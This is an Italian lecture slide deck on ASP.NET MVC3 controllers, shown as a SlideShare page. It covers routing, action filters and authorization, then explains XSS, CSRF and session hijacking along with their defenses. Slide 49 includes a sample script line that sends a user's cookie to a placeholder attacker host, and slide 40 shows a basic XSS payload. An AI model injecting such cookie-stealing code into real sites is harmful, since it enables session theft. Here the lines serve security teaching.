Sviluppo applicazioni web e linguaggio HTML                               LEZIONE 07ASP.NETModel View Controller
Processa le richiestedegli utenti compilandoil modello e scegliendola view da renderizzare    Model
Come fanno le richiestead arrivare al Controller?
Attraverso la definizionedi regoledi Routing
Una regola di routingtraduce l’indirizzo di unarichiesta in unaserie di parametri
Una regola di routingtraduce l’indirizzo di unarichiesta in unaserie di parametri
Tra questi parametridevono sempre essercicontroller e action
… e poi?
… e poi tocca a noi1   routes.MapRoute (       "PostByDate",       "date/{year}/{month}",       new { controller = "Post",...
… e poi tocca a noi2   public ActionResult ByDate(int year, int month)    {      IList<Post> posts = new List<Post>();    ...
This slide is intentionally blank
Una delle caratteristichedel pattern MVC è laSeparation of Concerns
… ma ci sono degli aspettidell’applicazione che sono“trasversali”
Il risultato è spesso unaduplicazione di codice
In questi casi possiamoutilizzare gli ActionFilter
Attributi che decorano leaction del controller chevogliamo intercettare
Scriviamo un filtro persalvare le statistiche sulnumero di pagine visitate
Se il filtro deve essereapplicato a tutte le actionposso aggiungerlo allalista dei GlobalFilters nelfile global.asax
This slide is intentionally blank
La sicurezza di unaapplicazione viene garantitatra le altre cose da …
1   Riconoscimento    dell’utente collegato
1   Riconoscimento    dell’utente collegato2   Verifica dell’autorizzazione    a procedere
1   Riconoscimento    dell’utente collegato2   Verifica dell’autorizzazione    a procedere3   Protezione dalle minacce    ...
1 Riconoscimento  dell’utente collegato
Per identificare un utenteutilizziamo l’autenticazionetramite form
Per specificare che unaaction richiede ilriconoscimento dell’utenteusiamo il filtroAuthorizeAttribute
Il filtro controlla nell’HttpContextse l’utente è autenticato, se nonè così visualizza la pagina dilogin specificata nel w...
A questo punto l’utente cifornisce le sue credenziali …                      Utilizza il membership                      p...
Normalmente però lecredenziali dobbiamoverificarle noi, dall’elencodegli utenti della nostraapplicazione
Verifica dell’autorizzazione aDependency procedereInjection
Anche se l’utente èconosciuto non è detto cheabbia i permessi persvolgere una determinataoperazione
L’accesso può essereregolato per utente e/o perruolo, generalmente però ipermessi sono specificidell’applicazione
Ad esempio un autore nonpuò modificare i post di unaltro autore
3  Protezione dalle minaccefacilitate dalle vulnerabilità
Quali vulnerabilità,quali minacce?
Cross Site ScriptingPermette ad un hacker di inserirecodice al fine di modificare ilcontenuto della pagina webvisitata.
Cross Site ScriptingPermette ad un hacker di inserirecodice al fine di modificare ilcontenuto della pagina webvisitata. In...
Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html …
Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html,devo disabilitare il controllo degliin...
Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html,devo disabilitare il controllo degliin...
Come difendersi?
Come difendersi?Encoding quando servee validazione degli inputlato server, ovvero puliziadai tag indesiderati
Cross Site Request ForgeryPermette ad un hacker disfruttare l‟autenticazionetramite cookie per effettuareuna richiesta cro...
Come può accadere?Accade se visito la pagina nellaquale un hacker ha inserito un linkcon i parametri “giusti” (oppureun co...
Come difendersi?
Indirizzo dal qualeCome difendersi?     è stata inviata la                     richiestaControllare il referrer dellarichi...
Antiforgery Helper1   @using(Html.BeginForm()) {         @Html.AntiForgeryToken()        <!-- controlli di input -->    }2...
Session HijackingPermette ad un hacker disfruttare la vulnerabilità XSS per“rubare” l‟identità di un utentedata dal suo co...
Come può accadere?L‟hacker nasconde dietrol‟indirizzo di una immagine unachiamata al suo sito passndocome parametro il val...
Come difendersi?
Come difendersi?Impedire l‟accesso al cookietramite script settando a true laproprietà HttpOnly (disponibileda IE 6 SP1).
continua?
CreditsLe immagini contenute in questa presentazionehanno licenza Creative CommonsSlide 4: http://www.flickr.com/photos/te...
Thank You   MANUEL SCAPOLAN            website: www.manuelscapolan.it            twitter: manuelscapolan            e-mail...
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
Upcoming SlideShare
Loading in...5
×

ASP.NET MVC3 - Tutti i compiti del Controller

718
-1

Published on

Dai cross-cutting concerns alla security parlando di ActionFilter e Routing

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
718
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
17
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

ASP.NET MVC3 - Tutti i compiti del Controller

  1. 1. Sviluppo applicazioni web e linguaggio HTML LEZIONE 07ASP.NETModel View Controller
  2. 2. Processa le richiestedegli utenti compilandoil modello e scegliendola view da renderizzare Model
  3. 3. Come fanno le richiestead arrivare al Controller?
  4. 4. Attraverso la definizionedi regoledi Routing
  5. 5. Una regola di routingtraduce l’indirizzo di unarichiesta in unaserie di parametri
  6. 6. Una regola di routingtraduce l’indirizzo di unarichiesta in unaserie di parametri
  7. 7. Tra questi parametridevono sempre essercicontroller e action
  8. 8. … e poi?
  9. 9. … e poi tocca a noi1 routes.MapRoute ( "PostByDate", "date/{year}/{month}", new { controller = "Post", action = "ByDate", year = DateTime.Now.Year, month = DateTime.Now.Month } );
  10. 10. … e poi tocca a noi2 public ActionResult ByDate(int year, int month) { IList<Post> posts = new List<Post>(); using (var db = new BlogContext()) { posts = (from p in db.Posts where p.PublishedDate.Year == year && p.PublishedDate.Month == month select p).ToList(); } return View("List", posts); }
  11. 11. This slide is intentionally blank
  12. 12. Una delle caratteristichedel pattern MVC è laSeparation of Concerns
  13. 13. … ma ci sono degli aspettidell’applicazione che sono“trasversali”
  14. 14. Il risultato è spesso unaduplicazione di codice
  15. 15. In questi casi possiamoutilizzare gli ActionFilter
  16. 16. Attributi che decorano leaction del controller chevogliamo intercettare
  17. 17. Scriviamo un filtro persalvare le statistiche sulnumero di pagine visitate
  18. 18. Se il filtro deve essereapplicato a tutte le actionposso aggiungerlo allalista dei GlobalFilters nelfile global.asax
  19. 19. This slide is intentionally blank
  20. 20. La sicurezza di unaapplicazione viene garantitatra le altre cose da …
  21. 21. 1 Riconoscimento dell’utente collegato
  22. 22. 1 Riconoscimento dell’utente collegato2 Verifica dell’autorizzazione a procedere
  23. 23. 1 Riconoscimento dell’utente collegato2 Verifica dell’autorizzazione a procedere3 Protezione dalle minacce facilitate dalle vulnerabilità
  24. 24. 1 Riconoscimento dell’utente collegato
  25. 25. Per identificare un utenteutilizziamo l’autenticazionetramite form
  26. 26. Per specificare che unaaction richiede ilriconoscimento dell’utenteusiamo il filtroAuthorizeAttribute
  27. 27. Il filtro controlla nell’HttpContextse l’utente è autenticato, se nonè così visualizza la pagina dilogin specificata nel web.config
  28. 28. A questo punto l’utente cifornisce le sue credenziali … Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)
  29. 29. Normalmente però lecredenziali dobbiamoverificarle noi, dall’elencodegli utenti della nostraapplicazione
  30. 30. Verifica dell’autorizzazione aDependency procedereInjection
  31. 31. Anche se l’utente èconosciuto non è detto cheabbia i permessi persvolgere una determinataoperazione
  32. 32. L’accesso può essereregolato per utente e/o perruolo, generalmente però ipermessi sono specificidell’applicazione
  33. 33. Ad esempio un autore nonpuò modificare i post di unaltro autore
  34. 34. 3 Protezione dalle minaccefacilitate dalle vulnerabilità
  35. 35. Quali vulnerabilità,quali minacce?
  36. 36. Cross Site ScriptingPermette ad un hacker di inserirecodice al fine di modificare ilcontenuto della pagina webvisitata.
  37. 37. Cross Site ScriptingPermette ad un hacker di inserirecodice al fine di modificare ilcontenuto della pagina webvisitata. In questo modo è possibilesottrarre dati sensibili presenti nelbrowser degli utenti che visiterannosuccessivamente quella pagina. Fonte: Wikipedia
  38. 38. Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html …
  39. 39. Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html,devo disabilitare il controllo degliinput con [ValidateInput=false]
  40. 40. Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html,devo disabilitare il controllo degliinput con [ValidateInput=false]E se poi qualcuno scrive delcodice javascript?<script>alert(„XSS‟)</script>
  41. 41. Come difendersi?
  42. 42. Come difendersi?Encoding quando servee validazione degli inputlato server, ovvero puliziadai tag indesiderati
  43. 43. Cross Site Request ForgeryPermette ad un hacker disfruttare l‟autenticazionetramite cookie per effettuareuna richiesta cross-domain anome dell‟utente (ovviamenteignaro di tutto).
  44. 44. Come può accadere?Accade se visito la pagina nellaquale un hacker ha inserito un linkcon i parametri “giusti” (oppureun codice che esegue un postautomatico) dopo essermiautenticato sul sito vulnerabile atale attacco.
  45. 45. Come difendersi?
  46. 46. Indirizzo dal qualeCome difendersi? è stata inviata la richiestaControllare il referrer dellarichiesta oppure utilizzareun token fornitodall’Antiforgery Helper
  47. 47. Antiforgery Helper1 @using(Html.BeginForm()) { @Html.AntiForgeryToken() <!-- controlli di input --> }2 [HttpPost] [ValidateAntiForgeryToken] public ActionResult Change(string pwd) {
  48. 48. Session HijackingPermette ad un hacker disfruttare la vulnerabilità XSS per“rubare” l‟identità di un utentedata dal suo cookie diautenticazione.
  49. 49. Come può accadere?L‟hacker nasconde dietrol‟indirizzo di una immagine unachiamata al suo sito passndocome parametro il valore delcookie dell‟utente.img.src = “http://sito.hacker/ruba_identita?cookies=“+ encodeURI(document.cookie);
  50. 50. Come difendersi?
  51. 51. Come difendersi?Impedire l‟accesso al cookietramite script settando a true laproprietà HttpOnly (disponibileda IE 6 SP1).
  52. 52. continua?
  53. 53. CreditsLe immagini contenute in questa presentazionehanno licenza Creative CommonsSlide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
  54. 54. Thank You MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: info@manuelscapolan.it
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×